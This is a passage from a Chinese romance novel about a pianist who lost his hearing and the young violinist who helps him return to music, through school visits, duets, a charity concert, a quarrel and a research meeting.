当他再次睁开眼睛时,发现许星河正专注地看着他,目光温柔而期待。阳光透过树叶的缝隙洒在年轻人脸上,形成斑驳的光影。程陌突然意识到,这是车祸后他第一次如此认真地注视一个人的脸。 "谢谢。"他轻声说,不确定许星河是否能听见。 许星河却像听到了世界上最动听的声音一样,眼睛瞬间亮了起来。他拉起程陌的手:"来吧,孩子们在等我们。" 音乐教室里,十几个不同年龄的听障孩子围坐在一起。看到许星河进来,他们全都兴奋地比划着手语。许星河熟练地和他们交流,然后向孩子们介绍程陌。 "这位是程陌老师,非常厉害的钢琴家!"许星河用手语说道,同时用手机语音播报给不熟悉手语的孩子听。 程陌站在一旁,感到无所适从。一个小女孩怯生生地走过来,拉了拉他的衣角。她大概七八岁的样子,扎着两个小辫子,眼睛又大又亮。女孩用手语比划着什么,程陌看不懂,求助地看向许星河。 "她说你的手很漂亮,"许星河翻译道,"像钢琴家的手。" 程陌蹲下身,轻轻握住女孩的小手。女孩好奇地触摸他的手指,然后拉着他走向教室角落的一架旧钢琴。其他孩子也围了过来,期待地看着他。 程陌深吸一口气,坐在钢琴前。他戴上骨传导耳机,手指悬在琴键上方犹豫了片刻,然后落了下去。 《梦中的婚礼》——昨晚在酒吧弹奏的同一首曲子,此刻却完全不同。通过骨传导技术,他能模糊地感知到自己弹奏的旋律。更重要的是,他能看到孩子们脸上惊喜的表情,能感受到他们随着音乐节奏轻轻摇摆的身体。 一曲终了,教室里爆发出无声的欢呼。孩子们围上来,有的摸钢琴,有的摸程陌的手,想要理解音乐是如何产生的。程陌看着这些生活在寂静世界里的孩子,突然明白了许星河带他来这里的目的。 "他们和你一样,"许星河在他耳边轻声说,"但他们依然热爱音乐。" 程陌转头,发现许星河的眼眶微微发红。阳光透过窗户洒在年轻人的侧脸上,勾勒出一道柔和的轮廓。在那一刻,程陌第一次真正看清了许星河——不是作为一个烦人的追随者,而是一个有着温暖灵魂的人。 下午的时光过得飞快。程陌教孩子们如何通过触摸钢琴感受振动,许星河则用小提琴示范不同的节奏。当夕阳西下,他们告别孩子们准备离开时,那个小女孩突然跑过来,塞给程陌一张纸条。 【谢谢你让音乐看得见】,纸条上这样写着,旁边画了一架钢琴和两颗星星。 回程的路上,程陌坐在自行车后座,手里紧握着那张纸条。风吹乱了许星河的卷发,有几缕调皮地翘着,在夕阳下泛着金色的光。程陌发现自己正不自觉地盯着那缕头发看。 "今天...谢谢你。"他在许星河停下车等红灯时打字道。 许星河转过头,笑容比夕阳还要温暖:"不,应该是我谢谢你。"他犹豫了一下,伸手轻轻碰了碰程陌的手腕,"明天还能见面吗?" 程陌看着许星河期待的眼神,点了点头。他注意到年轻人的睫毛在阳光下几乎是透明的,像蝴蝶翅膀一样轻轻颤动。 分别时,许星河突然从包里拿出一个精致的笔记本:"给你的。我...我收集了你所有的演出报道和乐评。" 程陌翻开笔记本,里面整齐地贴着剪报、照片,甚至还有许星河手写的听后感。最早的日期可以追溯到十年前,那时许星河还是个孩子,而程陌刚刚开始在钢琴比赛中崭露头角。 "我一直是你的粉丝,"许星河有些不好意思地说,"从第一次在电视上看到你演奏开始。" 程陌的手指轻轻抚过那些已经泛黄的剪报,胸口涌上一股难以名状的情绪。他从未想过,在自己坠入黑暗的这些年里,竟然有人如此珍视着他的过去。 "为什么?"他打字问道,"为什么对一个陌生人这么执着?" 许星河沉默了片刻,然后指了指笔记本的最后一页。那里贴着一张程陌在肖邦国际钢琴比赛上的照片,旁边写着一行字:【他的音乐让我相信,即使是最黑暗的夜晚,也会有星光。】 "因为你的音乐曾经是我的星光,"许星河轻声说,"现在,我想成为你的星光。" 夜色中,程陌看着许星河渐渐远去的背影,第一次感到心中那道筑起三年的冰墙,出现了一丝裂痕。清晨六点,程陌从混沌的梦境中惊醒。梦中他又回到了那场车祸——刺眼的车灯、尖锐的刹车声、玻璃碎裂的脆响,然后是永恒的寂静。他坐起身,汗水浸透了睡衣,手指无意识地抓紧了床单。 窗外,第一缕晨光刚刚爬上窗棂。程陌伸手摸向床头柜上的骨传导耳机,犹豫了一下,还是将它戴上了。许星河昨天教他下载了一个音乐软件,里面有几首专门为听障人士调整过的钢琴曲。 当振动旋律通过骨骼传入神经时,程陌闭上了眼睛。这不是真正的听觉,更像是一种遥远的回声,但已经比他这三年来体验过的任何声音都要清晰。他的手指在膝盖上不自觉地跟着节奏移动,就像从前练习时那样。 手机屏幕突然亮起,是许星河发来的信息:【早安程老师!今天天气超好,要不要去公园野餐?我做了三明治^_^】 程陌盯着那个笑脸符号看了许久。自从失聪后,他就很少在白天出门,更别说去公园这种充满噪音——虽然他现在听不见——和人群的地方。但想到许星河期待的眼神,他鬼使神差地回复了一个"好"字。 一小时后,程陌站在公寓楼下,看着许星河骑着那辆老旧的自行车风风火火地赶来。今天的许星河穿了一件明黄色的T恤,在阳光下亮得刺眼,头发似乎比昨天更乱了,像是刚起床就匆匆忙忙赶来的样子。 "程老师!"许星河跳下车,从车篮里拿出一个野餐篮,"我做了火腿芝士和蔬菜鸡蛋两种三明治,还有水果和——"他突然停住,不好意思地挠挠头,"抱歉,我太兴奋了。" 程陌摇摇头,嘴角不自觉地微微上扬。许星河的热情像一团火,让他这个习惯生活在冰窖里的人感到既陌生又莫名吸引。 他们步行到附近的公园,许星河一路都在用手语和夸张的口型"说话",尽管程陌多次表示自己并不擅长读唇语。公园里人不多,许星河找了一处僻静的草坪铺开野餐垫。 "尝尝这个,"许星河递过一个三明治,"我的独家配方。" 程陌咬了一口,芝士的浓郁和蔬菜的清爽在口腔中扩散。他点点头表示赞赏,许星河立刻笑得眼睛弯成了月牙。 "我小时候,"许星河一边比划一边用手机语音软件辅助交流,"每次练琴练得好,妈妈就会给我做这个当奖励。" 程陌想起许星河昨天给他的那本剪报集,突然很好奇这个年轻人的过去。他在手机上打字:【你从什么时候开始学小提琴的?】 许星河的眼睛亮了起来:"七岁!其实一开始我想学钢琴,因为..."他顿了顿,脸上泛起一丝红晕,"因为看了你的比赛视频。但家里条件有限,买不起钢琴,正好社区有个老教授愿意免费教小提琴。" 程陌注意到许星河说起小提琴时眼中的光彩,那是一种他曾经熟悉的热爱——对音乐纯粹而炽热的爱。这种光彩在他自己的眼中已经熄灭很久了。 "程老师,"许星河突然凑近,表情变得认真,"你有没有想过...重新开始作曲?" 程陌的手僵住了。作曲?对他来说那已经是上辈子的事了。他摇摇头,打字回复:【不可能。我听不见完整的音乐,怎么作曲?】 "但你能感受到啊!"许星河激动地抓住他的手,"通过振动、通过骨传导、通过——" 程陌猛地抽回手,脸色阴沉下来。许星河的话刺痛了他内心深处的伤疤。是的,他能"感受"音乐,但那和真正的听觉相差十万八千里。就像一个色盲的人被告知他还能看见黑白灰一样可笑。 "对不起,"许星河立刻道歉,"我不该——" 程陌站起身,头也不回地走了。他需要独处,需要远离许星河那种不切实际的乐观和希望。走出公园时,他听见——不,是感觉到身后有脚步声追来,但他加快了步伐,很快将许星河甩在了身后。 回到家,程陌径直走向酒柜,倒了一大杯威士忌一饮而尽。酒精灼烧着喉咙,却无法平息他内心的躁动。他摘下骨传导耳机扔在沙发上,仿佛那是什么可耻的东西。 但三小时后,当酒精的作用开始消退,程陌发现自己站在钢琴前——那架自从车祸后就再也没认真弹奏过的三角钢琴。他缓缓坐下,手指悬在琴键上方,犹豫了许久,终于按了下去。 没有旋律,只有杂乱无章的音符。程陌沮丧地握紧了拳头。就在这时,门铃响了。 透过猫眼,程陌看到许星河站在门外,头发被雨水淋湿了——不知什么时候开始下雨的。年轻人怀里抱着什么东西,神情忐忑不安。 程陌本想装作不在家,但许星河似乎感应到了他的存在,抬头直视猫眼,用口型清晰地说:"对不起。" 门开了。许星河浑身湿透,却小心翼翼地护着怀里的琴盒和一个小纸袋。"我...我给你带了晚餐,"他小声说,递过纸袋,"还有这个。" 纸袋里是一块蓝莓芝士蛋糕,程陌最喜欢的口味。他惊讶地抬头,许星河不好意思地解释:"我在一篇旧采访里看到你喜欢这个..." 程陌让许星河进了门,递给他一条毛巾。许星河擦着头发,眼睛却一直盯着那架打开的钢琴。"你刚才在弹琴?"他问。 程陌没有回答,只是走向厨房去泡茶。等他回来时,发现许星河正坐在钢琴前,轻轻抚摸着琴键。 "我小时候,"许星河轻声说,"每次练琴遇到困难想放弃时,就会看你的比赛视频。你弹琴时的表情那么专注,好像全世界只剩下你和音乐..."他抬起头,眼中闪烁着程陌读不懂的情绪,"那时候我就想,如果有一天我能见到你,一定要告诉你,你的音乐给了我坚持下去的勇气。" 程陌胸口发紧。他放下茶杯,坐到许星河旁边,在手机上打字:【为什么是我?世界上有那么多优秀的钢琴家。】 许星河微笑着摇摇头:"不只是因为你的技术,而是因为..."他停顿了一下,手指轻轻落在琴键上,弹奏了几个音符,"你演奏时的灵魂。即使是比赛曲目,你也能弹出自己的故事。" 程陌看着许星河修长的手指在琴键上移动,突然意识到这个年轻人比想象中更了解钢琴。他打字问:【你会弹钢琴?】 "会一点,"许星河谦虚地说,"为了更好理解作曲。"他犹豫了一下,然后开始弹奏一首简单的曲子。 程陌戴上骨传导耳机,惊讶地发现那是他自己早年创作的一首小品,从未正式发表过。"你怎么会——" "三年前你在维也纳的讲座上弹过,"许星河解释道,"我当时在场,录了下来。"他的表情变得有些伤感,"那是我最后一次听到你演奏..." 程陌的心脏剧烈跳动起来。许星河不仅是他多年的粉丝,还亲眼见证了他失聪前的最后一场公开演出。某种难以名状的情绪在胸口蔓延,他突然很想听——真正地听——许星河演奏。 "弹点什么,"程陌打字,"用小提琴。" 许星河愣了一下,然后点点头,取出他那把老旧的提琴。他站在窗前,雨水在玻璃上划出蜿蜒的痕迹,成为模糊的背景。琴弓落在弦上,一首忧伤而优美的旋律在房间中回荡——程陌能通过地板和骨传导耳机感受到它的振动。 那是帕格尼尼的《随想曲第24号》,但被改编得更加抒情。许星河闭着眼睛演奏,表情专注而沉醉,仿佛整个人都融入了音乐。雨水顺着他的发梢滴落,在阳光下会像钻石一样闪耀吧,程陌想。 曲终时,房间里一片寂静。程陌发现自己屏住了呼吸。许星河放下琴弓,有些不安地看着他:"怎么样?" 程陌摘下耳机,缓慢地打字:【很美。就像...】他停顿了一下,继续写道:【就像黑暗中的星光。】 许星河的眼睛瞬间亮了起来,比程陌见过的任何灯光都要明亮。他张了张嘴想说什么,却突然打了个喷嚏。 "你淋湿了,"程陌打字,"去洗个热水澡吧,别感冒了。" 许星河眨了眨眼,似乎没想到程陌会关心这个。他点点头,接过程陌递来的毛巾和换洗衣物,走向浴室。 听着浴室传来的水声,程陌鬼使神差地坐回钢琴前。刚才许星河弹奏的那首他自己创作的小品旋律在脑海中浮现——不是作为声音,而是作为一系列触觉记忆和肌肉记忆。他的手指落在琴键上,开始尝试复现那个旋律。 一开始是断断续续的,但渐渐地,程陌找到了感觉。他闭上眼睛,完全依靠手指的记忆和骨传导的振动来引导自己。当许星河从浴室出来时,程陌正全神贯注地弹奏着,甚至没注意到年轻人的靠近。 直到一曲终了,程陌才意识到许星河一直站在他身后,眼中含着泪水。 "你做到了,"许星河轻声说,声音有些颤抖,"你重新找回了音乐。" 程陌摇摇头,打字:【这只是记忆,不是创作。】 "但它是开始,"许星河坚持道,他的手轻轻搭在程陌肩上,"明天,我们可以试试一起演奏。我拉小提琴,你弹钢琴,就像——" 程陌突然转身,抓住了许星河的手腕。年轻人的皮肤温暖而湿润,带着刚洗完澡的热气。某种冲动驱使着程陌,他想告诉许星河,不是所有事情都能像他想象的那样简单美好,想警告他不要对自己抱有不切实际的希望。 但当他抬头对上许星河那双明亮的眼睛时,所有的话都卡在了喉咙里。最终,他只是轻轻点了点头。 窗外,雨停了。一缕夕阳穿透云层,照在钢琴的黑白键上,也照在两个年轻人身上,将他们的影子拉得很长,交织在一起。清晨的阳光透过窗帘缝隙洒进房间,程陌睁开眼睛,一时分不清自己身在何处。陌生的天花板,陌生的床单气味,还有——他猛地坐起身,看到许星河蜷缩在房间角落的懒人沙发上,睡得正香,怀里还抱着他那把小提琴。 记忆逐渐回笼。昨晚许星河淋雨后,他们一起研究了几首简单的二重奏,不知不觉就到了深夜。程陌本想叫车送他回去,但许星河坚持说太晚了不想麻烦,结果就在沙发上睡着了。 程陌轻手轻脚地下床,从衣柜里拿出一条毯子,小心翼翼地盖在许星河身上。年轻人睡着时看起来比实际年龄更小,睫毛在脸颊上投下细碎的阴影,嘴角微微上扬,似乎做着什么美梦。程陌不自觉地多看了几秒,才转身走向厨房。 煮咖啡的间隙,程陌打开手机,发现有三条未读信息,都来自他的前经纪人林姐:【小陌,听说你最近又开始弹琴了?】【有个国际音乐治疗协会的专家对你的情况很感兴趣。】【能谈谈吗?】 程陌的手指悬在屏幕上方,迟迟没有回复。自从失聪后,他就切断了与音乐圈几乎所有联系,林姐是少数还保持联络的人之一。但他没想到消息会传得这么快——一定是酒吧里有人认出了他。 咖啡机的响声惊动了许星河。年轻人揉着眼睛走进厨房,头发乱蓬蓬的,像只刚睡醒的小动物。"早啊,程老师,"他打了个哈欠,"我睡过头了吗?" 程陌摇摇头,递给他一杯咖啡。许星河接过来喝了一口,立刻皱起脸:"好苦!" "不加糖,不加奶。"程陌打字道。 许星河做了个夸张的鬼脸,开始在厨房里翻找糖罐。看着他忙碌的背影,程陌突然意识到,这是三年来第一次有人在他家过夜,第一次有人和他共进早餐。这种日常的亲密感让他既陌生又莫名安心。 "对了,"许星河突然转身,嘴角还沾着一点面包屑,"今天周六,学校没课。我们可以一整天都练习合奏!" 程陌正想回应,门铃响了。透过猫眼,他看到一个意想不到的身影——林姐,他的前经纪人,手里还拿着一个文件袋。 "谁啊?"许星河好奇地问。 程陌犹豫了一下,还是开了门。林姐看起来和两年前没什么变化,依然是一丝不苟的盘发和利落的职业装。她看到程陌,眼睛一亮:"小陌!你看起来气色不错。" 当她的目光越过程陌肩膀,看到端着咖啡杯的许星河时,表情明显僵了一下。"这位是...?" "许星河,"年轻人自来熟地伸出手,"小提琴手,程老师的学生。" "学生?"林姐挑眉看向程陌,"你收学生了?" 程陌摇摇头,打字解释:【朋友。】 这个简单的词汇让许星河的眼睛瞬间亮了起来,他抿着嘴笑了,像只偷到鱼的小猫。 林姐很快恢复了职业微笑:"正好,我带来的提案也和这位...许先生有关。"她打开文件袋,"国际音乐治疗协会正在研究听觉障碍者的音乐感知与创作,他们邀请你参与一个特别项目,小陌。" 程陌接过文件,眉头越皱越紧。项目要求他进行一系列公开演出和实验性创作,还要接受媒体采访——这完全违背了他远离公众视线的初衷。 "报酬很丰厚,"林姐补充道,"而且对你的复健有帮助。" 许星河凑过来看文件,身上淡淡的洗发水香味飘进程陌的鼻尖。"这个看起来很棒啊,"他兴奋地说,"程老师可以重新回到舞台了!" 程陌猛地合上文件,打字道:【我不感兴趣。】 林姐似乎早有预料:"至少考虑一下吧?协会的沃克教授下周会来中国,他很想见你。" "程老师,"许星河轻轻碰了碰他的手臂,"为什么不试试呢?" 程陌看着两人期待的眼神,突然感到一阵窒息。他快步走向阳台,深吸了几口新鲜空气。三年来,他习惯了黑暗与寂静,习惯了被世界遗忘。现在许星河和林姐却要把他重新拉回聚光灯下,让他暴露在众人的怜悯或好奇中。 一只温暖的手轻轻搭上他的肩膀。程陌回头,看到许星河关切的眼神。"对不起,"年轻人小声说,"我不该替你做决定。" 阳光照在许星河的脸上,将他褐色的瞳孔映成了透明的琥珀色。程陌突然注意到他右眼角有一颗很小很小的痣,像是谁不经意间用铅笔点上去的。 "我只是觉得,"许星河继续说,手指无意识地绞着衣角,"你的音乐太美了,应该被更多人听到...即使用不同的方式。" 程陌沉默了片刻,回到客厅拿起手机打字:【我需要时间考虑。】 林姐识趣地站起身:"当然。文件留给你,有任何问题随时联系我。"她意味深长地看了许星河一眼,"看来你找到了不错的...朋友。" 送走林姐后,公寓里一时陷入沉默。许星河不安地来回踱步,时不时偷瞄程陌一眼,像做错事的孩子。 "我不是故意干涉你的决定,"他终于忍不住开口,"只是——" 程陌打断他,打字道:【练琴吧。】 许星河愣了一下,随即绽放出灿烂的笑容:"好!" 整个下午,他们沉浸在音乐中。许星河用小提琴拉出旋律,程陌通过骨传导耳机和地板振动来感知节奏,然后在钢琴上回应。一开始配合得很生涩,但渐渐地,他们找到了默契。 "太棒了!"在一次成功的合奏后,许星河兴奋地跳起来,"程老师,你简直是个天才!" 程陌摇摇头,打字:【是你的引导好。】 许星河突然安静下来,认真地看着程陌:"你知道吗?你现在弹琴的样子,和车祸前完全不同了。" 程陌挑眉表示疑问。 "以前你的演奏技巧完美,但总是...有种距离感,"许星河思考着措辞,"现在你的音乐里有了更多情感,更真实。" 程陌怔住了。他从未想过失聪会改变他的演奏风格。但许星河说得对,当他不再追求技术上的完美,反而更能专注于音乐的本质。 傍晚时分,许星河接到学校的电话,不得不提前离开。"明天还能继续吗?"他站在门口,眼巴巴地问。 程陌点点头,突然想起什么,拿起手机打字:【等一下。】他走进卧室,从抽屉里拿出一个小盒子。 "这是...?"许星河好奇地接过盒子,打开后倒吸一口气——里面是一枚精致的音符形状的胸针,银质在灯光下闪闪发亮。 【送你的。】程陌打字,【谢谢你...所做的一切。】 许星河的眼睛瞬间湿润了。他小心地别上胸针,突然上前一步紧紧抱住了程陌。"谢谢你,"他在程陌耳边轻声说,声音有些哽咽,"为了音乐,为了...重新开始。" 程陌僵在原地,双手悬在空中不知该放在哪里。许星河的身体温暖而柔软,发丝间有阳光的味道。一种久违的、奇异的感觉在胸口蔓延,让他心跳加速。 当许星河终于松开手时,两人的脸都有些发红。"我明天一早就来!"年轻人匆匆说完,几乎是逃跑似的离开了。 程陌站在窗前,看着许星河的身影消失在街角,手指无意识地触碰着刚才被拥抱的地方。手机突然震动,是许星河发来的消息:【忘了说,胸针很漂亮,我会永远珍藏它。还有...明天见,程老师^^】 程陌看着那个笑脸符号,嘴角不自觉地上扬。他走回钢琴前,手指轻轻落在琴键上。一段新的旋律在脑海中成形,不是记忆中的任何曲子,而是全新的创作——三年来第一次。 窗外,夕阳西下,最后一缕阳光照在钢琴上那本许星河留下的乐谱上,照亮了页边年轻人密密麻麻的笔记和画的小星星。程陌的手指开始移动,弹奏着这首尚未完成的曲子,一首关于黑暗与星光、失去与重生的曲子。程陌站在音乐厅后台的阴影处,手指无意识地摩挲着西装袖口的纽扣。这是一场小型慈善演出,观众不超过两百人,但对他来说却如同重返维也纳金色大厅般令人窒息。三个月前,他绝不会相信自己会再次站在聚光灯下——直到许星河固执地闯入他的生活。 "紧张吗?"许星河悄声问,温热的气息拂过程陌的耳廓。年轻人今天穿了一套深蓝色西装,衬得肤色更加白皙,那枚音符胸针别在领口,在后台昏暗的灯光下闪闪发亮。 程陌摇摇头,打字回复:【只是不习惯。】 "你会做得很棒的,"许星河微笑着整理了一下程陌的领带,"就像我们练习时那样。" 这是他们第一次公开合奏。过去几周,他们几乎形影不离地排练,从简单的二重奏到程陌新创作的《无声之光》。许星河甚至教会了程陌一些基础手语,方便他们在台上简单交流。 "五分钟后上场。"工作人员提醒道。 许星河握住程陌的手,将他的掌心贴在自己喉咙上:"记住,音乐在这里,在心里。"程陌能感受到年轻人说话时的振动,以及脉搏有力的跳动。 主持人宣布他们的名字时,掌声如潮水般涌来。程陌跟在许星河身后走上舞台,刺眼的灯光让他眯起眼睛。台下坐满了人,前排有几个他熟悉的面孔——林姐、音乐学院的几位教授,还有几个戴着助听器的孩子,是许星河在特殊学校的学生。 许星河向观众鞠躬,然后转向程陌,用手语比划:【准备好了吗?】 程陌深吸一口气,点点头。他坐在钢琴前,戴上特制的骨传导耳机,手指悬在琴键上方。许星河的小提琴架上肩膀,琴弓轻轻一点,悠扬的旋律流淌而出。 起初程陌有些僵硬,但很快,他通过地板传来的振动和耳机中的反馈找到了节奏。钢琴声加入,与小提琴交织在一起,像是一场无声的对话。当演奏到《无声之光》的高潮部分时,程陌完全沉浸其中,忘记了紧张,忘记了台下的观众,甚至忘记了自己听不见——音乐通过另一种方式活在他心里。 曲终时,全场静默了几秒,然后爆发出雷鸣般的掌声。程陌抬头,看到前排那几个听障孩子正用力地挥舞双手,脸上洋溢着纯粹的喜悦。许星河眼中闪着泪光,向他伸出手。程陌站起来,与他十指相扣,一起向观众鞠躬。 回到后台,程陌的双手仍在微微发抖。许星河一把抱住他,在他耳边激动地说:"你看到了吗?他们有多爱你!" 程陌还没来得及回应,一个陌生的男声插了进来:"精彩的表演,程先生。" 他们分开,看到一个西装笔挺的中年男人站在门口,手里拿着名片。"张明远,《音乐世界》主编,"男人自我介绍道,"我们想为您做个专访,关于听觉障碍音乐家的特殊感知与创作。" 程陌下意识地后退一步,但许星河已经热情地接过名片:"谢谢您的关注!我们可以安排时间——" "不必了,"程陌突然打字,手机语音冰冷地播放出来,"我不接受采访。" 张主编面露尴尬:"但您的经历对很多残障人士是巨大的鼓舞..." "我不是榜样,"程陌继续打字,"只是一个偶然重返钢琴的聋子。" 气氛瞬间凝固。许星河试图打圆场,但程陌已经拿起外套准备离开。最终张主编悻悻地告辞,留下一句"随时欢迎改变主意"。 回程的出租车上,许星河罕见地沉默着。直到走进程陌的公寓,他才忍不住开口:"为什么拒绝采访?那是个好机会,能让更多人了解——" 程陌猛地转身,手指用力到几乎戳破手机屏幕:【我不是你宣传音乐疗法的工具!】 许星河脸色刷地变白:"我从来没...我只是想帮你重新被业界认可!" 【我不需要认可!】程陌继续打字,【你以为几个月的相处就能让你完全了解我的想法?】 "我当然不了解!"许星河的声音突然提高,"因为你从来不肯真正敞开心扉!"他的眼眶发红,"三个月了,程陌,你甚至不让我碰你的过去,不告诉我车祸的细节,不让我见你的家人!" 程陌如遭雷击。许星河说得对,他确实刻意保持距离,从未邀请年轻人进入他生活的全部。但那是因为... 【有些伤疤不该被揭开。】他最终打字道。 许星河摇摇头,泪水在眼眶中打转:"不,是因为你不信任我。在你心里,我永远只是个热心的粉丝,不是可以依靠的人。" 这句话像刀子一样刺进程陌胸口。他想反驳,却找不到合适的词。是的,他害怕——害怕依赖任何人,害怕再次被命运夺走珍视的东西。 "我累了,"许星河疲惫地说,取下领口的胸针放在茶几上,"明天...明天我就不来了。" 程陌想挽留,但自尊和恐惧让他无法动弹。他看着许星河拿起琴盒走向门口,年轻人的背影在灯光下显得那么单薄。 "对了,"许星河在门口停下,没有回头,"沃克教授下周的会面,我还是希望你能考虑。这对你的恢复很重要。" 门关上的声音很轻,却在程陌心中回荡如雷鸣。他拾起那枚胸针,金属已经失去了许星河的温度。窗外的雨不知何时开始下了,淅淅沥沥地打在玻璃上,像一首不成调的悲歌。 程陌走向钢琴,手指落在琴键上,却弹不出一个音符。他突然意识到,没有许星河在身边,音乐似乎又离他远去了。那个总是带着阳光和笑容的年轻人,不知何时已经成为他重新连接世界的桥梁。 而现在,这座桥断了。 手机屏幕亮起,是林姐发来的信息:【演出很成功!沃克教授特意来电称赞。对了,许星河那孩子不错,他看你的眼神...很特别。】 程陌关掉手机,走到窗前。雨越下越大,模糊了窗外的世界。他突然想起许星河曾说过的话:"即使是最黑暗的夜晚,也会有星光。" 但现在,他的星光离开了。清晨的阳光透过窗帘缝隙斜射进来,在地板上投下一道细长的光带。程陌坐在钢琴前,手指悬在琴键上方已经整整十分钟。往常这个时候,许星河早就带着早餐和灿烂的笑容推门而入,用夸张的口型说着"早安程老师"。 但今天没有。 茶几上那枚音符胸针在阳光下闪闪发亮,刺得程陌眼睛发疼。他伸手想弹点什么,却发现自己的手指僵硬得像木头。过去三个月,许星河已经成为他生活中不可或缺的一部分,如同呼吸般自然的存在。现在这种缺失感强烈得几乎具象化,像有人从他胸腔里生生挖走了一块。 手机震动起来,程陌几乎是扑过去查看——但只是林姐发来的日程确认:【沃克教授明天上午十点,别忘了。】 程陌把手机扔到一边,走向浴室。镜中的男人眼下挂着明显的青黑,胡茬凌乱,活像个宿醉的流浪汉。他打开水龙头,冰冷的水拍在脸上,却冲不走脑海中许星河含泪离去的画面。 【在你心里,我永远只是个热心的粉丝,不是可以依靠的人。】 许星河的话像刀子一样反复割着他的心脏。不是这样的,程陌想反驳。但他又该如何解释自己筑起的那堵高墙?如何解释每当许星河问起他的过去时,那种本能的退缩? 门铃突然响起。程陌的心跳漏了一拍,三步并作两步冲到门口——却看到一个快递员站在外面。 "程陌先生?您的包裹。" 程陌签收后打开盒子,里面是一套高级骨传导耳机,比他现有的那款技术更新、灵敏度更高。附带的卡片上写着:【为了你的音乐。永远支持你的,林姐。】 程陌苦笑着放下耳机。林姐一直是这样,用最实际的方式表达关心,却从不触及情感层面。就像他父母——自从车祸后,他们除了定期打钱和询问医疗进展,几乎从不谈及感受。 电话突然响起,屏幕上显示"特殊学校李老师"。程陌犹豫了一下还是接了。 "程老师?"李老师的声音通过语音转文字软件显示在屏幕上,"今天您没来上课,孩子们都很想您。特别是小雨,她画了幅画要送给您。" 程陌胸口一紧。自从认识许星河后,他每周都会去那所特殊学校教孩子们音乐,已经成了习惯。但今天,他刻意回避了所有可能与许星河碰面的地方。 【抱歉,临时有事。】他打字回复,【请告诉小雨,下周我会去拿她的画。】 挂断电话,程陌在公寓里来回踱步,像只困兽。最终,他拿起手机,点开与许星河的聊天窗口。光标闪烁着,他却不知道该打什么。道歉?解释?还是假装什么都没发生过? 正在犹豫时,一条新闻推送突然跳出来:《新锐小提琴家许星河签约环球音乐,首张个人专辑筹备中》。 程陌的手指僵住了。他点开新闻,看到许星河西装革履的照片,正在某个高档餐厅与唱片公司高层握手。报道中提到,这位"才华横溢的年轻音乐家"因其"独特的音乐理念和感人至深的演奏风格"获得业界青睐。 照片上的许星河笑容得体,但程陌能看出那笑意未达眼底——他太熟悉年轻人真正开心时的样子了,眼睛会弯成月牙,右脸颊有个若隐若现的小酒窝。 新闻最后一段特别提到:"据悉,许星河近期与国际知名音乐治疗专家沃克教授密切合作,致力于听觉障碍者的音乐感知研究,该项目获得业界广泛关注。" 程陌放下手机,感到一阵眩晕。原来许星河已经向前走了,甚至走得更远。而他,还困在自己的怯懦和过去里,像个可笑的守墓人。 傍晚,程陌戴上新耳机出门了。他漫无目的地走着,不知不觉来到了那家他与许星河初次相遇的酒吧。同样的昏暗灯光,同样的钢琴,只是弹琴的人换成了一个染着红发的女孩。 程陌坐在角落,点了一杯威士忌。酒精滑过喉咙的灼烧感让他稍微好受些。就在这时,他注意到吧台另一端有个熟悉的身影——许星河,独自一人喝着什么,面前摊开着乐谱。 程陌的心跳加速。许星河看起来憔悴了不少,眼睛下方的阴影即使用灯光也很难掩饰。他穿着简单的白衬衫,袖口卷到手肘,露出纤细却有力的手腕——那双手曾经如此温柔地引导程陌重新感受音乐。 就在程陌犹豫是否要上前时,一个西装革履的男人走到许星河身边,亲昵地揽住他的肩膀。许星河抬头微笑,那笑容让程陌胸口刺痛——因为那是真实的,眼睛弯成了月牙,右脸颊的小酒窝若隐若现。 男人凑在许星河耳边说了什么,年轻人点点头,收拾乐谱准备离开。转身的瞬间,许星河的目光与程陌相遇了。两人隔着嘈杂的酒吧对视,时间仿佛凝固。 许星河的表情从惊讶到犹豫,最终归于平静。他微微颔首,算是打招呼,然后跟着那个男人离开了酒吧,一次都没有回头。 程陌坐在原地,手中的酒杯不知何时已经空了。他想起第一次在这里见到许星河时,年轻人眼中那种纯粹的崇拜和热情。现在那双眼睛里的光还在,却不再为他而亮。 走出酒吧时,夜风冷得刺骨。程陌站在路边,看着车流如织,突然意识到自己有多愚蠢。许星河给了他重获新生的机会,而他却因为恐惧和固执,亲手推开了这份珍贵的情谊。 手机在口袋里震动,是林姐发来的沃克教授会面的最终确认。程陌盯着屏幕看了很久,最终回复:【我会准时到场。】 也许这就是转折点——不是结束,而是新的开始。如果他还有勇气争取,如果他还配得上那份纯粹的感情。 程陌抬头看向夜空,几颗星星顽强地穿透城市的光污染,闪烁着微弱却坚定的光芒。他突然想起许星河笔记本上那句话:【他的音乐让我相信,即使是最黑暗的夜晚,也会有星光。】 这一次,换他成为追逐星光的人。程陌站在沃克教授下榻的酒店大堂,手指不停地整理着西装领口。距离约定的时间还有二十分钟,但他提前到了——昨晚几乎没怎么睡,一闭眼就是许星河在酒吧里与那个男人离去的背影。 "程先生?"前台小姐微笑着走过来,"沃克教授说您可以直接去会议室,他们已经在准备了。" 程陌点点头,跟着指引走向电梯。电梯门即将关闭时,一只手突然伸进来拦住了门。程陌抬头,呼吸瞬间凝滞——许星河站在电梯外,怀里抱着一叠文件,眼睛瞪得圆圆的。 两人就这样僵持了几秒,直到电梯发出警告声。许星河如梦初醒般走进来,站在离程陌最远的角落,后背几乎贴在墙上。 电梯缓缓上升,狭小的空间里弥漫着令人窒息的沉默。程陌能闻到许星河身上淡淡的柑橘香水味,那是他送给年轻人的生日礼物。许星河今天穿得很正式,白衬衫配深灰色西装马甲,头发也精心打理过,但眼睛下方的青黑显示他也没怎么休息好。 "你去见沃克教授?"许星河突然开口,声音比平时低沉。 程陌点点头,掏出手机打字:【林姐安排的。你呢?】 "我是项目协调人。"许星河简短地回答,眼睛盯着电梯数字,"负责教授在华期间的所有行程。" 程陌胸口一紧。所以许星河早就知道今天会见到他,却什么都没说。电梯停在25楼,许星河快步走出去,程陌紧随其后。 会议室门口,沃克教授——一位银发蓝眼的高大美国人——热情地迎上来。"程先生!终于见到你了!"他用带着浓重口音的中文说,然后转向许星河,"许,谢谢你安排这一切。" 程陌这才注意到许星河手上的文件是项目企划书,封面印着《听觉障碍音乐家的感知重塑与创作潜能研究》,下面并列写着许星河和沃克教授的名字。 "请坐。"许星河专业地示意,完全是一副公事公办的态度,仿佛他们只是工作伙伴,从未有过那些亲密的时刻。 会议开始后,沃克教授详细介绍了项目内容。这是一个为期两年的研究,旨在探索听觉障碍者如何通过振动、触觉和视觉等替代方式感知和创作音乐。程陌作为主要研究对象,将接受一系列训练和评估,同时参与公开演出和创作。 